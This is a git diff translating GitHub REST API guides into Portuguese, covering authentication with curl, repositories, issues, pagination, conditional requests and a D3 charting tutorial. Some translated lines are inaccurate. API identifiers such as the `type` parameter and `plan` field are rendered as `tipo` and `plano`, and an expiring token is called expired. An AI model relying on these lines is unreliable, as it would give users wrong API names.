-The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token].
+The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). Os tokens do OAuth incluem [os tokens de acesso pessoal][personal token].
 
-Use a `-u` flag to set your username:
+Use um sinalizador `-u` para definir o seu nome de usuário:
 
 ```shell
 $ curl -i -u <em>your_username</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When prompted, you can enter your OAuth token, but we recommend you set up a variable for it:
+Quando solicitado, você poderá inserir o seu token OAuth, mas nós recomendamos que você configure uma variável para isso:
 
-You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided.
+Você pode usar `-u "your_username:$token"` e configurar uma variável para `token` para evitar deixar seu token no histórico do shell, o que deve ser evitado.
 
 ```shell
 $ curl -i -u <em>your_username:$token</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API.
+Ao efetuar a autenticação, você deverá ver seu limite de taxa disparado para 5.000 slicitações por hora, conforme indicado no cabeçalho `X-RateLimit-Limit`. Além de fornecer mais chamadas por hora, a autenticação permite que você leia e escreva informações privadas usando a API.
 
-You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]:
+Você pode facilmente [criar um **token de acesso pessoal**][personal token] usando a sua [página de configurações de tokens de acesso pessoal][tokens settings]:
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
 {% warning %}
 
-To help keep your information secure, we highly recommend setting an expiration for your personal access tokens.
+Para ajudar a manter suas informações seguras, é altamente recomendável definir um vencimento para seus tokens de acesso pessoal.
 
 {% endwarning %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-![Personal Token selection](/assets/images/personal_token.png)
+![Seleção de Token Pessoal](/assets/images/personal_token.png)
 {% endif %}
 
 {% ifversion ghae %}
-![Personal Token selection](/assets/images/help/personal_token_ghae.png)
+![Seleção de Token Pessoal](/assets/images/help/personal_token_ghae.png)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
-API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date.
+As solicitações da API que usam um token de acesso pessoal vencido retornará a data de validade do token por meio do cabeçalho `GitHub-Authentication-Token-Expiration`. Você pode usar o cabeçalho nos seus scripts para fornecer uma mensagem de aviso quando o token estiver próximo da data de vencimento.
 {% endif %}
 
-### Get your own user profile
+### Obtenha seu próprio perfil de usuário
 
-When properly authenticated, you can take advantage of the permissions
-associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting
-[your own user profile][auth user api]:
+When properly authenticated, you can take advantage of the permissions associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Por exemplo, tente obter
 
 ```shell
 $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.product.api_url_pre %}/user
@@ -189,89 +173,72 @@ $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.produc
 > }
 ```
 
-This time, in addition to the same set of public information we
-retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account.
+Desta vez, além do mesmo conjunto de informações públicas que recuperamos para [@defunkt][defunkt github] anteriormente, você também deverá ver as informações não públicas do seu perfil de usuário. Por exemplo, você verá um objeto `plano` na resposta, que fornece detalhes sobre o plano de {% data variables.product.product_name %} para a conta.
 
-### Using OAuth tokens for apps
+### Usar tokens do OAuth para aplicativos
 
-Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth].
+Os aplicativos que precisam ler ou escrever informações privadas usando a API em nome de outro usuário devem usar o [OAuth][oauth].
 
-OAuth uses _tokens_. Tokens provide two big features:
+O OAuth usa _tokens_. Os tokens fornecem dois grandes recursos:
 
-* **Revokable access**: users can revoke authorization to third party apps at any time
-* **Limited access**: users can review the specific access that a token
-  will provide before authorizing a third party app
+* **Acesso revogável**: os usuários podem revogar a autorização a aplicativos de terceiros a qualquer momento
+* **Acesso limitado**: os usuários podem revisar o acesso específico que um token fornecerá antes de autorizar um aplicativo de terceiros
 
-Tokens should be created via a [web flow][webflow]. An application
-sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog
-indicating the name of the app, as well as the level of access the app
-has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %}
-redirects the user back to the application:
+Os tokens devem ser criados por meio de um [fluxo web][webflow]. Um aplicativo envia os usuários para {% data variables.product.product_name %} para efetuar o login. {% data variables.product.product_name %} apresenta uma caixa de diálogo, que indica o nome do aplicativo, bem como o nível de acesso que o aplicativo tem uma após ser autorizado pelo usuário. Depois que um usuário autoriza o acesso, {% data variables.product.product_name %} redireciona o usuário de volta para o aplicativo:
 
-![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png)
+![Diálogo do GitHub's OAuth](/assets/images/oauth_prompt.png)
 
-**Treat OAuth tokens like passwords!** Don't share them with other users or store
-them in insecure places. The tokens in these examples are fake and the names have
-been changed to protect the innocent.
+**Trate os tokens de OAuth como senhas!** Não compartilhe-os com outros usuários ou armazene-os em lugares inseguros. Os tokens nestes exemplos são falsos e os nomes foram alterados para proteger os inocentes.
 
-Now that we've got the hang of making authenticated calls, let's move along to
-the [Repositories API][repos-api].
+Agora que demos um jeito de fazer chamadas autenticadas, vamos seguir em frente para a [API de repositórios][repos-api].
 
-## Repositories
+## Repositórios
 
-Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository
-information. We can [`GET` repository details][get repo] in the same way we fetched user
-details earlier:
+Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository information. Podemos [`OBTER` informações do repositório][get repo] da mesma forma que obtemos ass informações do usuário anteriormente:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap
 ```
 
-In the same way, we can [view repositories for the authenticated user][user repos api]:
+Da mesma forma, podemos [visualizar repositórios para o usuário autenticado][user repos api]:
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-Or, we can [list repositories for another user][other user repos api]:
+Ou podemos [listar repositórios para outro usuário][other user repos api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos
 ```
 
-Or, we can [list repositories for an organization][org repos api]:
+Ou podemos [listar repositórios para uma organização][org repos api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos
 ```
 
-The information returned from these calls will depend on which scopes our token has when we authenticate:
+As informações retornadas dessas chamadas dependerão de quais escopos o nosso token terá quando efetuarmos a autenticação:
 
 {%- ifversion fpt or ghec or ghes %}
 * A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}.
 {%- endif %}
 * A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}.
 
-As the [docs][repos-api] indicate, these methods take a `type` parameter that
-can filter the repositories returned based on what type of access the user has
-for the repository. In this way, we can fetch only directly-owned repositories,
-organization repositories, or repositories the user collaborates on via a team.
+Conforme a [documentação][repos-api] indica, estes métodos usam um parâmetro `tipo` que pode filtrar os repositórios retornados com base no tipo de acesso que o usuário possui para o repositório. Desta forma, podemos buscar apenas repositórios de propriedade direta, repositórios da organização ou repositórios nos quais o usuário colabora por meio de uma equipe.
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner"
 ```
 
-In this example, we grab only those repositories that octocat owns, not the
-ones on which she collaborates. Note the quoted URL above. Depending on your
-shell setup, cURL sometimes requires a quoted URL or else it ignores the
-query string.
+Neste exemplo, pegamos apenas os repositórios que o octocat possui, não os nos quais ela colabora. Observe a URL entre aspas acima. Dependendo de sua configuração do shell, a cURL às vezes exigirá uma URL entre aspas ou irá ignorar a string de consulta.
 
-### Create a repository
+### Criar um repositório
 
-Fetching information for existing repositories is a common use case, but the
-{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo],
-we need to `POST` some JSON containing the details and configuration options.
+Buscar informações para repositórios existentes é um caso de uso comum, mas a
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. Para [criar um repositório][create repo],
+precisamos `POST` alguns JSON que contém informações e opções de configuração.
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
@@ -284,14 +251,11 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-In this minimal example, we create a new private repository for our blog (to be served
-on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates].
+Neste pequeno exemplo, criamos um novo repositório privado para o nosso blogue (a ser servido no [GitHub Pages][pages], talvez). Embora o blogue {% ifversion not ghae %}seja público{% else %}, ele pode ser acessado por todos os integrantes da empresa{% endif %}, tornamos o repositório privado. Nesta etapa única, também vamos inicializá-lo com um LEIAME e um [nanoc][nanoc]-flavored [.gitignore template][gitignore templates].
 
-The resulting repository will be found at `https://github.com/<your_username>/blog`.
-To create a repository under an organization for which you're
-an owner, just change the API method from `/user/repos` to `/orgs/<org_name>/repos`.
+O repositório resultante será encontrado em `https://github.com/<your_username>/blog`. Para criar um repositório sob uma organização da qual você é proprietário, altere apenas o método API de `/user/repos` para `/orgs/<org_name>/repos`.
 
-Next, let's fetch our newly created repository:
+Em seguida, vamos buscar nosso repositório recém-criado:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
@@ -303,28 +267,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
 > }
 ```
 
-Oh noes! Where did it go? Since we created the repository as _private_, we need
-to authenticate in order to see it. If you're a grizzled HTTP user, you might
-expect a `403` instead. Since we don't want to leak information about private
-repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can
-neither confirm nor deny the existence of this repository."
+Ah não! Onde ele foi parar? Uma vez que criamos o repositório como _privado_, precisamos autenticá-lo para poder vê-lo. Se você é um usuário de HTTP, você pode esperar um `403`. Since we don't want to leak information about private repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can neither confirm nor deny the existence of this repository."
 
-## Issues
+## Problemas
 
-The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while
-staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull
-data out or create issues from other tools to create a workflow that works for
-your team.
+A interface de usuário para problemas no {% data variables.product.product_name %} visa a fornecer fluxo de trabalho "apenas suficiente" enquanto permanece fora de seu caminho. Com {% data variables.product.product_name %} [API de problemas][issues-api], você pode extrair dados ou criar problemas a partir de outras ferramentas para criar um fluxo de trabalho que funcione para a sua equipe.
 
-Just like github.com, the API provides a few methods to view issues for the
-authenticated user. To [see all your issues][get issues api], call `GET /issues`:
+Assim como o github.com, a API fornece alguns métodos para exibir problemas para o usuário autenticado. Para [ver todos os seus problemas][get issues api], chame `GET /issues`:
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/issues
 ```
 
-To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET
+Para obter apenas os [problemas sob uma das suas organizações de {% data variables.product.product_name %}][get issues api], chame `GET
 /orgs/<org>/issues`:
 
 ```shell
@@ -332,17 +288,15 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/orgs/rails/issues
 ```
 
-We can also get [all the issues under a single repository][repo issues api]:
+Também podemos obter [todos os problemas sob um único repositório][repo issues api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 ```
 
-### Pagination
+### Paginação
 
-A project the size of Rails has thousands of issues. We'll need to [paginate][pagination],
-making multiple API calls to get the data. Let's repeat that last call, this
-time taking note of the response headers:
+Um projeto do tamanho de Rails tem milhares de problemas. Vamos precisar [paginar][pagination], fazendo várias chamadas de API para obter os dados. Vamos repetir essa última chamada, anotando os cabeçalhos de resposta:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
@@ -354,20 +308,13 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 > ...
 ```
 
-The [`Link` header][link-header] provides a way for a response to link to
-external resources, in this case additional pages of data. Since our call found
-more than thirty issues (the default page size), the API tells us where we can
-find the next page and the last page of results.
+O [cabeçalho de `Link`][link-header] fornece uma forma de resposta para vincular os recursos externos, nesse caso, as páginas de dados adicionais. Como nossa chamada encontrou mais de trinta problemas (o tamanho da página padrão), a API nos informa onde podemos encontrar a próxima página e a última página de resultados.
 
-### Creating an issue
+### Criar um problema
 
-Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from
-the API.
+Agora que vimos como paginar listas de problemas, vamos [criar um problema][create issue] a partir da API.
 
-To create an issue, we need to be authenticated, so we'll pass an
-OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON
-body to the `/issues` path underneath the repository in which we want to create
-the issue:
+Para criar um problema, precisamos estar autenticados. Portanto, passaremos um token do OAuth no cabeçalho. Além disso, passaremos o título, texto, e as etiquetas no texto do JSON para o caminho `/issues` abaixo do repositório em que queremos criar o problema:
 
 ```shell
 $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \
@@ -419,14 +366,11 @@ $    {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues
 > }
 ```
 
-The response gives us a couple of pointers to the newly created issue, both in
-the `Location` response header and the `url` field of the JSON response.
+A resposta nos dá algumas indicações sobre a questão recém-criada, tanto no cabeçalho de resposta da `Localização` quanto no campo `url` da resposta do JSON.
 
-## Conditional requests
+## Solicitações condicionais
 
-A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional
-requests][conditional-requests] and helps you do the right thing. Consider the
-first call we made to get defunkt's profile:
+Uma grande parte de ser um bom cidadão da API é respeitar os limites de taxa por meio de armazenamento de informações que não mudaram. A API é compatível com [solicitações condicionais][conditional-requests] e ajuda você a fazer a coisa certa. Considere a primeira chamada de que fizemos para obter o perfil de defunkt:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
@@ -435,10 +379,7 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
 > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"
 ```
 
-In addition to the JSON body, take note of the HTTP status code of `200` and
-the `ETag` header.
-The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls,
-we can tell the API to give us the resource again, only if it has changed:
+Além do texto do JSON, anote o código de status de HTTP de `200` e o cabeçalho `ETag`. O [ETag][etag] é uma impressão digital da resposta. Se passarmos isso em chamadas subsequentes, podemos dizer à API para nos dar o recurso novamente, somente se tiver mudado:
 
 ```shell
 $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \
@@ -447,25 +388,24 @@ $    {% data variables.product.api_url_pre %}/users/defunkt
 > HTTP/2 304
 ```
 
-The `304` status indicates that the resource hasn't changed since the last time
-we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting].
+O status `304` indica que o recurso não mudou desde a última vez que pedimos e a resposta não conterá texto. Como um bônus, as respostas de `304` não contam contra o seu [limite de taxa][rate-limiting].
 
-Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
+Nossa! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
 
-* Basic & OAuth authentication
-* Fetching and creating repositories and issues
-* Conditional requests
+* Autenticação básica do & OAuth
+* Buscar e criar de repositórios e problemas
+* Solicitações condicionais
 
-Keep learning with the next API guide [Basics of Authentication][auth guide]!
+Continue aprendendo com o próximo guia da API [Princípios básicos da autenticação][auth guide]!
 
 [wrappers]: /libraries/
 [curl]: http://curl.haxx.se/
 [media types]: /rest/overview/media-types
 [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/
 [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
-[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
 [repos-api]: /rest/reference/repos
+[repos-api]: /rest/reference/repos
 [pages]: http://pages.github.com
 [nanoc]: http://nanoc.ws/
 [gitignore templates]: https://github.com/github/gitignore
@@ -473,14 +413,13 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [link-header]: https://www.w3.org/wiki/LinkHeader
 [conditional-requests]: /rest#conditional-requests
 [rate-limiting]: /rest#rate-limiting
+[rate-limiting]: /rest#rate-limiting
 [users api]: /rest/reference/users#get-a-user
-[auth user api]: /rest/reference/users#get-the-authenticated-user
+[defunkt github]: https://github.com/defunkt
 [defunkt github]: https://github.com/defunkt
 [json]: http://en.wikipedia.org/wiki/JSON
 [authentication]: /rest#authentication
-[2fa]: /articles/about-two-factor-authentication
-[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication
-[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth
+[personal token]: /articles/creating-an-access-token-for-command-line-use
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [tokens settings]: https://github.com/settings/tokens
 [pagination]: /rest#pagination
@@ -492,6 +431,6 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [other user repos api]: /rest/reference/repos#list-repositories-for-a-user
 [org repos api]: /rest/reference/repos#list-organization-repositories
 [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
+[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
 [repo issues api]: /rest/reference/issues#list-repository-issues
 [etag]: http://en.wikipedia.org/wiki/HTTP_ETag
-[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication
diff --git a/translations/pt-BR/content/rest/guides/index.md b/translations/pt-BR/content/rest/guides/index.md
index 072e826783..05ab3e000b 100644
--- a/translations/pt-BR/content/rest/guides/index.md
+++ b/translations/pt-BR/content/rest/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.'
+title: Guias
+intro: 'Saiba mais sobre como começar com a API REST, sobre a autenticação e como usar a API REST para várias tarefas.'
 redirect_from:
   - /guides
   - /v3/guides
@@ -24,10 +24,5 @@ children:
   - /getting-started-with-the-git-database-api
   - /getting-started-with-the-checks-api
 ---
-This section of the documentation is intended to get you up-and-running with
-real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. We'll cover everything you need to know, from
-authentication, to manipulating results, to combining results with other apps.
-Every tutorial here will have a project, and every project will be
-stored and documented in our public
-[platform-samples](https://github.com/github/platform-samples) repository.
-![The Electrocat](/assets/images/electrocat.png)
+
+This section of the documentation is intended to get you up-and-running with real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. Vamos cobrir tudo o que você precisa saber, desde a autenticação, passando pela a manipulação de resultados, até a combinação de resultados com outros aplicativos. Todos os tutoriais aqui terão um projeto, e cada projeto será armazenado e documentado no nosso repositório público de [platform-samples](https://github.com/github/platform-samples). ![O Electrocat](/assets/images/electrocat.png)
diff --git a/translations/pt-BR/content/rest/guides/rendering-data-as-graphs.md b/translations/pt-BR/content/rest/guides/rendering-data-as-graphs.md
index a46becae06..bcc7cd0e2d 100644
--- a/translations/pt-BR/content/rest/guides/rendering-data-as-graphs.md
+++ b/translations/pt-BR/content/rest/guides/rendering-data-as-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: Rendering data as graphs
-intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit.
+title: Representar dados como gráficos
+intro: Aprenda a visualizar as linguagens de programação do seu repositório usando a biblioteca D3.js e o Ruby Octokit.
 redirect_from:
   - /guides/rendering-data-as-graphs
   - /v3/guides/rendering-data-as-graphs
@@ -15,21 +15,15 @@ topics:
  
 
 
-In this guide, we're going to use the API to fetch information about repositories
-that we own, and the programming languages that make them up. Then, we'll
-visualize that information in a couple of different ways using the [D3.js][D3.js] library. To
-interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
+Neste guia, vamos usar a API para obter informações sobre repositórios dos quais somos proprietários e as linguagens de programação que as compõem. Em seguida, vamos visualizar essas informações de algumas formas diferentes usando a biblioteca [D3.js][D3.js]. To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication]
-guide before starting this example. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+Caso você ainda não o tenha feito, você deve ler o guia ["Princípios básicos da autentifcação"][basics-of-authentication] antes de iniciar este exemplo. Você pode encontrar o código-fonte completo para este projeto no repositório de [platform-samples][platform samples].
 
-Let's jump right in!
+Vamos começar imediatamente!
 
-## Setting up an OAuth application
+## Configurar um aplicativo OAuth
 
-First, [register a new application][new oauth application] on {% data variables.product.product_name %}. Set the main and callback
-URLs to `http://localhost:4567/`. As [before][basics-of-authentication], we're going to handle authentication for the API by
-implementing a Rack middleware using [sinatra-auth-github][sinatra auth github]:
+Primeiro, [registra um novo aplicativo ][new oauth application] no {% data variables.product.product_name %}. Define as URLs principais e a chamada de retorno para `http://localhost:4567/`. Assim como fizemos[anteriormente][basics-of-authentication], vamos gerenciar a autenticação da API implementando um Rack middleware usando [sinatra-auth-github][sinatra auth github]:
 
 ``` ruby
 require 'sinatra/auth/github'
@@ -68,7 +62,7 @@ module Example
 end
 ```
 
-Set up a similar _config.ru_ file as in the previous example:
+Configure um arquivo _config.ru_ semelhante ao exemplo anterior:
 
 ``` ruby
 ENV['RACK_ENV'] ||= 'development'
@@ -80,15 +74,11 @@ require File.expand_path(File.join(File.dirname(__FILE__), 'server'))
 run Example::MyGraphApp
 ```
 
-## Fetching repository information
+## Buscar informações do repositório
 
-This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit
-Ruby library][Octokit]. This is much easier than directly making a bunch of
-REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained,
-so you know it'll work.
+This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit Ruby library][Octokit]. Isso é muito mais fácil do que fazer diretamente um monte de chamadas de REST. Além disso, o Octokit foi desenvolvido por um GitHubber e é mantido ativamente, para que você saiba que vai funcionar.
 
-Authentication with the API via Octokit is easy. Just pass your login
-and token to the `Octokit::Client` constructor:
+É fácil a autenticação com a API através do Octokit. Basta passar seu login e token para o `Octokit::Client` do cliente:
 
 ``` ruby
 if !authenticated?
@@ -98,17 +88,13 @@ else
 end
 ```
 
-Let's do something interesting with the data about our repositories. We're going
-to see the different programming languages they use, and count which ones are used
-most often. To do that, we'll first need a list of our repositories from the API.
-With Octokit, that looks like this:
+Vamos fazer algo interessante com os dados sobre nossos repositórios. Vamos ver as diferentes linguagens de programação que eles usam e contar quais são usadas com maior frequência. Para fazer isso, primeiro precisaremos de uma lista dos nossos repositórios na API. Com o Octokit, será algo parecido com isso:
 
 ``` ruby
 repos = client.repositories
 ```
 
-Next, we'll iterate over each repository, and count the language that {% data variables.product.product_name %}
-associates with it:
+Em seguida, vamos iterar sobre cada repositório e contar a linguagem que {% data variables.product.product_name %} associa a ele:
 
 ``` ruby
 language_obj = {}
@@ -126,25 +112,19 @@ end
 languages.to_s
 ```
 
-When you restart your server, your web page should display something
-that looks like this:
+Ao reiniciar seu servidor, sua página web deve exibir algo que se parece com isso:
 
 ``` ruby
 {"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1}
 ```
 
-So far, so good, but not very human-friendly. A visualization
-would be great in helping us understand how these language counts are distributed. Let's feed
-our counts into D3 to get a neat bar graph representing the popularity of the languages we use.
+Até agora, tudo bem, mas isso não é não muito intuitivo para uma pessoa. Uma visualização seria excelente para nos ajudar a entender como as contagens de linguagens são distribuídas. Vamos alimentar nossas contagens em D3 para obter um gráfico de barras que represente a popularidade dos idiomas que usamos.
 
-## Visualizing language counts
+## Visualizar contagens de linguagem
 
-D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations.
-Using D3 in detail is beyond the scope of this guide, but for a good introductory article,
-check out ["D3 for Mortals"][D3 mortals].
+D3.js, ou apenas D3, é uma biblioteca abrangente para criar muitos tipos de gráficos, gráficos e visualizações interativas. Usar D3 em detalhes está fora do âmbito deste guia, mas para um bom artigo introdutório consulte ["D3 para mortais"][D3 mortals].
 
-D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into
-a JSON array for use by JavaScript in the browser.
+D3 é uma biblioteca JavaScript, e gosta de trabalhar com dados como arrays. Então, vamos converter o nosso hash do Ruby em um array de JSON para uso por JavaScript no navegador.
 
 ``` ruby
 languages = []
@@ -155,13 +135,9 @@ end
 erb :lang_freq, :locals => { :languages => languages.to_json}
 ```
 
-We're simply iterating over each key-value pair in our object and pushing them into
-a new array. The reason we didn't do this earlier is because we didn't want to iterate
-over our `language_obj` object while we were creating it.
+Estamos simplesmente iterando sobre cada par chave-valor no nosso objeto e empurrando-os para um novo array. A razão pela qual não fizemos isso anteriormente foi porque não queríamos iterar sobre o nosso objeto `language_obj` enquanto o estávamos criando.
 
-Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph.
-For now, you can just use the code provided here, and refer to the resources linked above
-if you want to learn more about how D3 works:
+Agora, _lang_freq.erb_ vai precisar de um pouco de JavaScript para ajudar a interpretação de um gráfico de barras. Por enquanto, você pode simplesmente usar o código fornecido aqui e consultar os recursos vinculados acima se quiser saber mais sobre como o D3 funciona:
 
 ``` html
 <!DOCTYPE html>
@@ -242,26 +218,15 @@ if you want to learn more about how D3 works:
 </html>
 ```
 
-Phew! Again, don't worry about what most of this code is doing. The relevant part
-here is a line way at the top--`var data = <%= languages %>;`--which indicates
-that we're passing our previously created `languages` array into ERB for manipulation.
+Ufa! Novamente, não se preocupe com o que a maior parte deste código está fazendo. Aqui, a parte relevante é uma linha na parte superior--`var data = <%= languages %>;`--que indica que estamos passando o nosso array de `linguagens` criado previamente para o ERB para manipulação.
 
-As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of
-D3. But it does serve to illustrate how you can use the library, along with Octokit,
-to make some really amazing things.
+Como o guia "D3 para mortais" sugere, este não é necessariamente a melhor forma de utilizar o D3. No entanto, serve para ilustrar como você pode usar a biblioteca, junto com Octokit, para fazer algumas coisas realmente incríveis.
 
-## Combining different API calls
+## Combinar diferentes chamadas de API
 
-Now it's time for a confession: the `language` attribute within repositories
-only identifies the "primary" language defined. That means that if you have
-a repository that combines several languages, the one with the most bytes of code
-is considered to be the primary language.
